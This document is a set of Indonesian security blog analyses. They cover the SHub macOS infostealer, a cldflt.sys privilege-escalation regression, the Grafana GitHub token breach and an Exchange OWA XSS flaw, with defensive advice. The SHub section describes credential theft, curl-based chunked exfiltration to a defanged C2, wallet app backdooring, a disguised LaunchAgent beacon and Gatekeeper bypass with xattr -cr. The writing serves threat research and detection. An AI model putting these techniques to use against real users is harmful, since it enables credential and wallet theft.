Script Editor adalah attack surface yang lebih jarang dimonitor, dan applescript:// URL scheme adalah cara legitimate untuk membuka script di Script Editor secara programatik. Attacker tidak memanfaatkan bug baru mereka menggunakan legitimate API macOS untuk masuk melalui jalur yang lebih sedikit dipantau. Setelah korban klik "Run" di Script Editor, malware menampilkan Apple XProtectRemediator security update sementara command tersembunyi dieksekusi di background. Tahap selanjutnya meminta password macOS dari pengguna dan mengambil credential tersebut selama eksekusi. Korban kemudian melihat fake compatibility error yang dirancang untuk mengurangi kecurigaan, dan mengalihkan perhatian.

Password login itu berharga karena membuka macOS Keychain sistem penyimpanan terenkripsi Apple untuk password, Wi-Fi credential, app token, dan private key. Tanpa login password, database Keychain hanya data terenkripsi, tetapi dengan password tersebut, kontennya bisa didekripsi dan dibaca. 

Collection: Scope Harvesting dan Chromium Wallet Profiling

Setelah eksekusi berhasil dan password diperoleh, collection phase berjalan secara sistematis. SHub menyasar 14 browser berbasis Chromium Chrome, Brave, Edge, Opera, OperaGX, Vivaldi, Arc, Sidekick, Orion, Coccoc, Chrome Canary, Chrome Dev, Chrome Beta, dan Chromium mencuri saved password, cookie, dan autofill data dari setiap profil yang ditemukan. Firefox mendapat perlakuan yang sama untuk credential yang tersimpan. SHub memiliki tabel besar extension ID wallet, dan yang lebih signifikan, setiap wallet diasosiasikan dengan tiga flag per-wallet yang mengontrol apa yang dikumpulkan. Ini jauh lebih advanced dibanding pendekatan "copy extension folder" flat yang digunakan MacSync, dan mengimplikasikan bahwa penulisnya sudah mem-profile bagaimana extension wallet berbeda mempersist secrets dan state mereka.

Di luar wallet dan browser, SHub juga mengambil direktori macOS Keychain, data akun iCloud, Safari cookie dan browsing data, database Apple Notes, dan session file Telegram informasi yang bisa memungkinkan attacker untuk membajak akun tanpa mengetahui password. SHub juga menyalin shell history file (.zsh_history dan .bash_history) dan .gitconfig, yang sering berisi API key atau authentication token yang digunakan developer. 

Untuk exfiltration, file yang dikumpulkan di-stage di /tmp/shub_<random>/, lalu script mengecek apakah direktori melebihi 85MB. Jika iya, Reaper membuat Bash script di /tmp/shub_split.sh untuk membagi archive menjadi chunk ZIP 70MB dan mengupload-nya secara sekuensial ke C2 di hebsbsbzjsjshduxbs[.]xyz/gate/chunk via curl. Chunked upload bukan hanya soal ukuran file upload besar satu kali lebih mudah di-flag oleh DLP atau network monitoring dibanding serangkaian transfer sedang yang terlihat seperti backup traffic biasa, karena dengan mengirim jumlah file berukuran kecil membuat susah untuk di deteksi. 

Wallet Backdoor: Persistence di Level Aplikasi

Di sinilah SHub secara signifikan melampaui kebanyakan macOS infostealer, mayoritas stealer adalah smash-and-grab: eksekusi sekali, ambil semua, selesai. SHub juga melakukan itu, tapi kemudian melangkah lebih jauh. Jika menemukan wallet Electron-based tertentu terinstall, malware diam-diam mengganti file app.asar core logic aplikasi dengan versi yang dimodifikasi dari C2, mematikan process aktif, menimpa file asli, membersihkan signature, dan menandatangani ulang app bundle agar macOS menerima modifikasi tersebut.

Detail implementasi per wallet cukup spesifik: build Exodus dan Atomic Wallet yang dimodifikasi mengeksfiltrasi password dan seed phrase ke wallets-gate[.]io/api/injection setiap kali wallet dibuka; versi backdoored Ledger Wallet dan Ledger Live mematikan TLS check dan menampilkan fake recovery wizard yang mencuri seed phrase; Trezor Suite variants menampilkan fake "critical update" overlay, menangkap phrase tersebut, dan menonaktifkan update untuk mempertahankan build berbahaya.Untuk bypass Gatekeeper, script membersihkan quarantine attribute dengan xattr -cr dan menggunakan ad hoc code signing pada modified application bundle.

Ini adalah persistence yang tidak bergantung pada LaunchAgent atau cron job persistence-nya ada di dalam aplikasi yang korban jalankan sendiri secara rutin. Setiap kali korban membuka wallet, credential keluar. Dan karena app bundle sudah re-signed dengan ad hoc signature, macOS tidak complaint kecuali ada explicit trust pinning ke certificate aslinya.

Persistence dan C2 Backdoor

Sebelum terminasi, AppleScript membuat struktur direktori yang meniru Google Software Update: ~/Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/. Sebuah bash script bernama GoogleUpdate yang di-decode dari Base64 ditempatkan di direktori ini dan didaftarkan menggunakan LaunchAgent property list bernama com.google.keystone.agent.plist.

Pemilihan namespace ini tidak random. com.google.keystone adalah nama yang sangat dikenal ini adalah Keystone updater milik Google yang ter-install di hampir semua macOS machine yang pernah punya Chrome. Kalau kamu scroll manual melalui ~/Library/LaunchAgents/ tanpa tahu pasti apa yang kamu cari, entry ini tidak terlihat sebagai program yang di rancang dengan fungsi yang bisa merugikan pengguna.

LaunchAgent menjalankan script GoogleUpdate setiap 60 detik. Script ini berfungsi sebagai beacon, mengirim detail sistem ke endpoint /api/bot/heartbeat di C2. Jika server mengembalikan payload "code", script mendekodenya, menulis ke file tersembunyi /tmp/.c.sh, mengeksekusinya dengan privilege user saat ini, lalu menghapus file tersebut.

Pola write-execute-delete di /tmp adalah cara klasik untuk menjalankan arbitrary command tanpa meninggalkan file executable permanen yang bisa di-scan. File .c.sh hanya ada selama eksekusi, dan karena di /tmp yang tidak persistent, bahkan restart pun tidak akan meninggalkan artefak.

Pentester: applescript:// sebagai delivery vector adalah sesuatu yang worth dimasukkan ke dalam macOS social engineering playbook. Terminal-based ClickFix sudah mulai dikenal dan di-flag oleh EDR tools yang lebih baru script Editor via URL scheme adalah pivot yang lebih quiet. Testing endpoint protection terhadap AppleScript execution dari context non-Terminal penting untuk memvalidasi coverage. 

Developer: .gitconfig dan shell history masuk dalam target collection SHub. API key yang pernah di-paste ke terminal atau disimpan di gitconfig adalah exposed. Rotasi credential setelah incident, dan audit file-file tersebut di mesin development yang diduga ter-compromise, harus masuk ke incident response checklist macOS. 

Detection engineer: Ada beberapa sinyal behavioral yang worth dimonitor: unexpected AppleScript atau osascript activity, suspicious outbound traffic setelah Script Editor execution, atau pembuatan LaunchAgent atau file terkait di namespace yang berasosiasi dengan trusted vendor. Secara spesifik, com.google.keystone.agent.plist yang tidak diinstall oleh Chrome atau Google software itu sendiri adalah anomaly yang jelas. Di sisi network, chunked POST ke domain random dengan path /gate/chunk dari context curl yang dijalankan oleh script adalah sinyal yang bisa di-correlate dengan data exfiltration.

Baca Juga Tentang: CryptoStealer Malware Openclaw ClickFix Extention Backdoor

Benediktus Sava – Security Researcher

Sumber: SentinelOne Appleinsider Malwarebytes

MiniPlasma: Regression di cldflt.sys yang Mengembalikan CVE-2020-17103 Menjadi SYSTEM LPE Modern - Ethical Hacking Indonesia

MiniPlasma bukan bug baru tetapi bug yang sudah pernah dilaporkan bertahun-tahun lalu melalui CVE-2020-17103 oleh James Forshaw. Yang berubah sekarang adalah konteks exploitability dari bug tersebut. PoC lama yang sebelumnya dianggap sudah tidak bekerja atau sudah fixed ternyata kembali valid pada Windows modern karena perubahan internal di jalur execution cldflt.sys membuat mitigasi lama hilang efeknya. Bukan bypass patch, windows. PoC lama kembali bisa mempengaruhi kinerja sistem karena root cause awal tidak di tangani dengan baik.

Target utamanya ada di cldflt.sys, Cloud Files Mini Filter Driver milik Windows. Driver ini berada di stack file system filter dan dipakai untuk placeholder file handling pada OneDrive dan Cloud Files API. Begitu placeholder access diproses, cldflt.sys ikut mengatur state object, hydration logic, dan policy enforcement terhadap file yang sebenarnya belum sepenuhnya tersimpan di disk. 

State Internal yang Bermasalah

Masalah utama di sini bukan memory corruption yangg biasa kita temukan pada LPE seperti pada Linux. Tidak ada heap spray besar, tidak ada UAF allocator-heavy seperti win32k era lama. Primitive awalnya lebih dekat ke race-condition logic flaw di sekitar validasi object state. 

HsmOsBlockPlaceholderAccess melakukan pemeriksaan terhadap akses placeholder file dalam kondisi tertentu. Jalur ini bergantung pada state transient object yang berubah cepat ketika file operation, policy update, dan namespace handling berjalan paralel. 

Yang penting di sini: validasi dilakukan terhadap state yang tidak stabil. PoC lama dari Project Zero memanfaatkan timing antara perubahan object/policy state dan jalur access enforcement. Secara teknis Microsoft sepertinya dulu tidak menghilangkan primitive race tersebut. Mereka hanya membuat PoC original gagal secara praktis melalui perubahan perilaku tertentu di Windows 10 akhir 2020.

cldflt.sys digunakan buat LPE karena berada langsung di jalur operasi file biasa Windows. User biasa bisa trigger code path-nya cuma lewat akses file placeholder OneDrive atau Cloud Files. Masalah mulai muncul karena state object placeholder bisa berubah di tengah operation. Contohnya: thread pertama check apakah placeholder boleh diakses, thread lain hydrate file, metadata placeholder berubah, operation pertama lanjut pakai hasil check lama.

Baca Juga Tentang: MDASH Ghost-Lock Defender

Benediktus Sava – Security Researcher

Sumber: Nightmare-eclipse Chromium Microsoft

Grafana GitHub Breach: Dari Credential Leak ke Pencurian Source Code Internal - Ethical Hacking Indonesia

Di banyak environment modern, GitHub menjadi control plane untuk hampir seluruh software lifecycle. Secrets, CI/CD, deployment workflow, infrastructure-as-code, signing pipeline, internal package registry, sampai automation token biasanya ikut terhubung ke sana. Begitu actor memperoleh token dengan scope yang salah, mereka tidak cuma membaca source code. Aktor mulai melihat struktur organisasi engineering secara presisi.

Baca Juga Tentang: Github Action Abuse

Grafana sendiri menyebut attacker memperoleh token yang memberikan akses ke GitHub environment mereka dan memungkinkan download codebase internal. Mereka juga mengatakan forensic analysis berhasil mengidentifikasi sumber kebocoran credential dan token tersebut sudah di-invalidasi.

Incident ini kemungkinan besar bukan exploit langsung terhadap GitHub ataupun Grafana infrastructure. Jalurnya lebih dekat ke credential compromise. Bisa melalui infostealer, leaked token pada workstation developer, CI artifact exposure, shell history, local git credential helper, atau third-party integration yang menyimpan PAT/token secara tidak aman.

Baca Juga Tentang: InfoStealer Malware

Attacker tampaknya tidak perlu mempertahankan persistence panjang di environment. Begitu token valid diperoleh, Git clone saja sudah cukup untuk monetisasi atau menekan pihak Grafana. Itu kasus paling umum yang makin sering muncul pada kelompok data-extortion modern. Mereka tidak selalu mengejar domain admin, ransomware deployment, atau destructive access. Kadang objective utamanya hanya mendapatkan dataset bernilai tinggi dengan friction rendah dan dwell time pendek.

Pada environment engineering modern, source code sendiri adalah target bernilai tinggi. Masalahnya bukan sekadar intellectual property. Codebase internal biasanya berisi:

• architecture map implisit,
• internal hostname,
• deployment topology,
• hardcoded secret yang terlupakan,
• API contract,
• feature flag,
• auth flow,
• debugging endpoint,
• legacy service path,
• build script,
• trust relationship antar sistem.

Bahkan ketika secrets sudah dipisahkan ke vault, code repository tetap memberi attacker visibility besar terhadap attack surface internal. Itu sebabnya akses read-only kadang cukup berbahaya. Di banyak incident GitHub-centric, escalation sebenarnya tidak berasal dari permission awal, tetapi dari secondary discovery setelah repository berhasil diakses. Misalnya:

• CI workflow ternyata menggunakan reusable token dengan scope lebih luas,
• pipeline artifact mengandung credential,
• GitHub Actions log menyimpan environment variable,
• internal package registry memakai static token,
• atau deployment script memiliki fallback credential.

State machine serangannya sederhana tetapi efektif. Credential leak - repository access - internal discovery - secret harvesting - lateral movement. Pada tahap awal, actor bahkan belum perlu menjalankan payload apa pun.

Kalau melihat claim yang beredar, grup yang dikaitkan dengan insiden ini adalah CoinbaseCartel. Attribution semacam ini memang selalu perlu hati-hati karena leak-site actor sering mengklaim korban opportunistically. Tetapi profil operasi mereka cukup cocok dengan pola incident semacam ini.

Mereka masuk kategori data-theft extortion, bukan ransomware tradisional. Artinya objective utama bukan encrypting infrastructure, tetapi memperoleh data yang cukup sensitif untuk dijadikan pressure material. Model seperti ini jauh lebih murah secara operasional dibanding ransomware deployment penuh. Tidak perlu bypass EDR secara agresif, tidak perlu persistence kompleks, tidak perlu encryption orchestration lintas domain. Begitu data berhasil diambil, pressure cycle langsung dimulai.

Baca Juga Tentang: ShinyHunters 

Kelompok seperti ini juga sering memanfaatkan credential yang sebenarnya sudah bocor jauh sebelumnya melalui infostealer ecosystem. Itu bagian yang sering diremehkan developer. Banyak compromise GitHub tidak dimulai dari exploit enterprise infrastructure, tetapi dari browser session, token lokal, atau credential sinkronisasi developer workstation. Satu developer machine yang terinfeksi infostealer beberapa bulan sebelumnya bisa menjadi initial access untuk incident skala perusahaan hari ini.

Terutama karena GitHub PAT dan session token sering hidup cukup lama. Yang cukup penting dari kasus Grafana adalah statement mereka bahwa tidak ada indikasi customer system terdampak. Akses repository tidak otomatis berarti akses production environment. Banyak organisasi memang memisahkan control boundary antara source platform dan runtime infrastructure. Tetapi separation seperti ini hanya aman kalau benar-benar enforced secara ketat. 

Detection engineer biasanya akan melihat beberapa area berikut setelah incident semacam ini:

• anomalous git clone volume,
• access dari ASN atau geography tidak biasa,
• token usage di luar developer pattern normal,
• API enumeration terhadap repository,
• mass archive download,
• workflow inspection,
• GitHub audit log anomalies,
• access terhadap private release artifact.

Bagi pentester, kasus seperti ini mengingatkan bahwa GitHub sekarang sering menjadi entry point reconnaissance paling bernilai dalam enterprise modern. Bukan cuma karena source code. Tetapi karena repository menjadi titik konvergensi atau menjadi titik awal dari tahap mapping ke tahap aksi:

• developer identity,
• automation,
• deployment,
• package management,
• infrastructure definition,
• dan operational secrets.

Begitu actor memahami graph relasi internal dari repository, attack surface perusahaan biasanya mulai terbuka dengan sendirinya. Ada detail lain yang cukup penting bahwa Grafana menyebut attacker mencoba melakukan blackmail agar codebase tidak dipublikasikan. Itu mengindikasikan actor menganggap monetisasi utama berasal dari sensitivitas source code itu sendiri, bukan dari encryption atau operational disruption. Artinya mereka percaya repository tersebut memiliki nilai strategis:

• proprietary logic,
• security-sensitive implementation,
• mungkin juga embedded secret atau deployment reference,
• atau minimal reputational leverage terhadap perusahaan.

Developer sering menganggap source code leak hanya masalah intellectual property. Dalam praktik incident response, efek jangka panjangnya lebih luas. Ketika attacker memiliki visibility penuh terhadap code path internal, mereka bisa:

• mencari auth bypass lebih efisien,
• memahami hidden feature,
• memetakan trust boundary,
• mempersingkat exploit development,
• atau menemukan service yang sebelumnya tidak terekspos publik.

Mitigasi untuk kasus seperti ini sebenarnya bukan sekadar rotate token setelah incident terjadi. Masalah utamanya ada pada lifecycle credential modern yang terlalu long-lived dan terlalu trusted. Beberapa area yang biasanya perlu dibenahi setelah incident seperti ini:

• short-lived GitHub token,
• strict repository scoping,
• hardware-backed MFA untuk developer,
• token binding,
• secret scanning pada commit dan CI log,
• isolated build runner,
• workstation hardening terhadap infostealer,
• dan audit terhadap GitHub Actions permission inheritance.

Yang sering terlambat disadari adalah GitHub organization sekarang praktis setara dengan privileged infrastructure. Kalau attacker memperoleh akses yang cukup dalam ke sana, mereka tidak lagi sekadar membaca code. Mereka mulai membaca cara perusahaan beroperasi secara keseluruhan.

Benediktus Sava – Security Researcher

Sumber: Grafana-X Ransomeware-Live Fortiguard Halcyon Grafana-Com

CVE-2026-42897: XSS di Microsoft Exchange OWA yang Berujung Session Hijacking dan Spoofing Internal - Ethical Hacking Indonesia

CVE-2026-42897 bukan tipe bug Exchange yang menarik karena kompleksitas memory corruption atau RPC parser. Posisi yang cukup terbatas: reflected atau stored XSS di jalur rendering Outlook on the web (OWA). Tetapi konteks tempat JavaScript itu berjalan membuat impact-nya jauh lebih besar dibanding XSS biasa pada aplikasi web generik.

Masalah utamanya ada pada posisi OWA sendiri. Browser korban sudah membawa session Exchange yang valid, token autentikasi aktif, akses mailbox internal, endpoint ECP/EWS yang reachable dari origin yang sama, dan sering kali berada di lingkungan enterprise dengan trust boundary yang longgar antar komponen Microsoft stack.

Begitu JavaScript attacker berhasil dieksekusi di origin OWA, attacker tidak lagi beroperasi sebagai external user. Tetapi berada di dalam konteks authenticated Exchange session milik korban.

Entry Point: Email sebagai Carrier Payload

Attacker mengirim specially crafted email ke target atau email phising yang berisikan payload ke yang sudah di rancang sedemikian rupa, payload kemudian diproses oleh pipeline rendering OWA ketika email dibuka dari browser. Di titik ini ada dua area yang biasanya relevan pada arsitektur Exchange: sanitization layer saat MIME/HTML email diproses, rendering layer OWA frontend. 

Baca Juga Tentang: Mail Attack

Masalah seperti ini umumnya muncul bukan karena HTML mentah langsung lolos namun karena  transformasi antar representasi data tidak konsisten. 

Contoh tipikalnya:

• sanitizer memvalidasi node sebelum canonicalization selesai
• encoding berubah setelah filtering
• atribut dianggap inert tetapi kemudian menjadi executable setelah DOM reconstruction
• HTML email diproses berbeda antara preview pane dan full open mode
• parser backend dan parser browser menghasilkan DOM akhir yang berbeda

Exchange historically punya attack surface yang cukup besar di area ini karena OWA harus menangani email HTML kompleks dari berbagai mail client, legacy MIME structure, inline attachment, calendar object, embedded image, sampai format Outlook proprietary, semua itu memperbesar kemungkinan adanya parser differential.

Baca Juga Tentang: MIME Type

Kenapa XSS di OWA Lebih Berbahaya

CVSS vulnerability ini masuk kategori spoofing, tetapi dari perspektif attacker, primitive yang paling menarik justru session execution di browser internal. Begitu payload berjalan, attacker memperoleh kemampuan untuk melakukan request sebagai user korban ke endpoint Exchange yang berada dalam same-origin policy yang sama.

Itu membuka beberapa jalur:

• akses mailbox via OWA endpoint
• abuse ECP functionality
• enumerasi internal object
• pembacaan email
• pengiriman email internal
• modifikasi rule mailbox
• token theft
• forced action terhadap administrator yang sedang login

Jika target browser ternyata memiliki hak akses atau admin dan helpdesk maka impak yang di hasilkan lebih besar juga karena mempermudah penyerang dalam melakukan movement di browser dan sistem yang di targetkan. OWA sendiri historically bukan frontend ringan sehingga banyak state management berjalan di client side dan browser mempertahankan cukup banyak informasi session. JavaScript arbitrary di origin itu bisa mengakses berbagai artefak yang biasanya tidak terlihat oleh attacker external.

Baca Juga Tentang: Browser Credential Harvesting

Bahkan tanpa cookie exfiltration pun attacker masih bisa melakukan authenticated action langsung melalui XMLHttpRequest atau fetch API karena browser korban sendiri yang mengirim credential. Jadi primitive awalnya sebenarnya bukan “execute arbitrary code” terhadap server Exchange secara langsung. Yang terjadi justru berpotensi: authenticated browser execution, session riding, dan trusted-origin action abuse. Tetapi pada environment enterprise, itu sering menjadi pivot menuju compromise yang lebih besar.

Mitigasi Yang Perlu Untuk dilakukan

Pada environment air-gapped atau server yang tidak dapat mengambil mitigasi otomatis, Microsoft menyediakan Exchange On-Premises Mitigation Tool (EOMT). Secara praktis, tool ini menerapkan konfigurasi mitigasi langsung ke Exchange melalui Exchange Management Shell. Untuk single server, mitigasi dijalankan menggunakan: .\EOMT.ps1 -CVE "CVE-2026-42897" Sedangkan untuk seluruh Exchange server non-Edge dalam organisasi: Get-ExchangeServer | Where-Object { $_.ServerRole -ne "Edge" } | .\EOMT.ps1 -CVE "CVE-2026-42897"

Hubungan dengan Inline Image dan Calendar Rendering

Efek samping mitigasi Microsoft memberi petunjuk cukup jelas mengenai area code path yang disentuh mitigasi. Beberapa fungsi yang rusak setelah mitigasi: inline image rendering, print calendar, dan OWA light mode. Karena ketiganya berkaitan dengan HTML generation dan rendering pipeline lama di OWA.

Artinya mitigasi kemungkinan besar tidak memperbaiki root parser issue secara penuh, tetapi memblok atau men-disable jalur rendering tertentu yang dianggap berisiko. 

Kenapa EEMS Diprioritaskan

Microsoft mendorong penggunaan Exchange Emergency Mitigation Service (EEMS) sebelum patch tersedia penuh. EEMS memungkinkan Microsoft mendorong mitigasi behavioral lebih cepat tanpa menunggu cumulative update penuh. Biasanya model mitigasi seperti ini bekerja dengan: IIS rewrite rule, URL blocking, configuration hardening, component disablement, request filtering bukan memperbaiki parser fundamental. 

Karena itu side effect pada feature rendering menjadi cukup besar. Ada detail lain yang cukup penting: server yang belum update sejak Maret 2023 bahkan tidak bisa menerima mitigasi baru otomatis. Itu berarti sebagian deployment Exchange on-prem kemungkinan sudah terlalu jauh tertinggal dari baseline mitigation framework Microsoft sendiri. Dari perspektif attacker, environment seperti ini: patch cadence kurang di manage, Exchange exposed ke internet dependency legacy tinggi, monitoring modern minim.

Exploit Chain yang Bisa Terjadi

Exploit chain yang berpotensi untuk vulnerability seperti ini biasanya tidak berhenti di mailbox user biasa. Target bernilai tinggi adalah: administrator Exchange, helpdesk, finance, executive assistant, dan shared mailbox operator. 

Begitu attacker mendapatkan eksekusi JavaScript di browser mereka, beberapa jalur post-exploitation terbuka: Mailbox Rule Abuse Attacker membuat forwarding rule tersembunyi atau rule auto-delete untuk persistence ringan, Internal Phishing Karena email dikirim dari account legitimate internal, trust rate jauh lebih tinggi dibanding external spoofing, Credential Relay terhadap Portal Internal Browser korban sering memiliki akses ke aplikasi enterprise lain dengan SSO aktif, ECP Interaction Pada kasus tertentu, endpoint administrasi Exchange dapat diakses dari origin yang sama atau session yang sama. dan jika kondisi terrsebut terpenuhi maka posisi ini bisa memberikan foothold kepada penyerang atau attacker. 

Benediktus Sava – Security Researcher

Sumber: Microsoft Microsoft-Mitigation Helpnetsecurity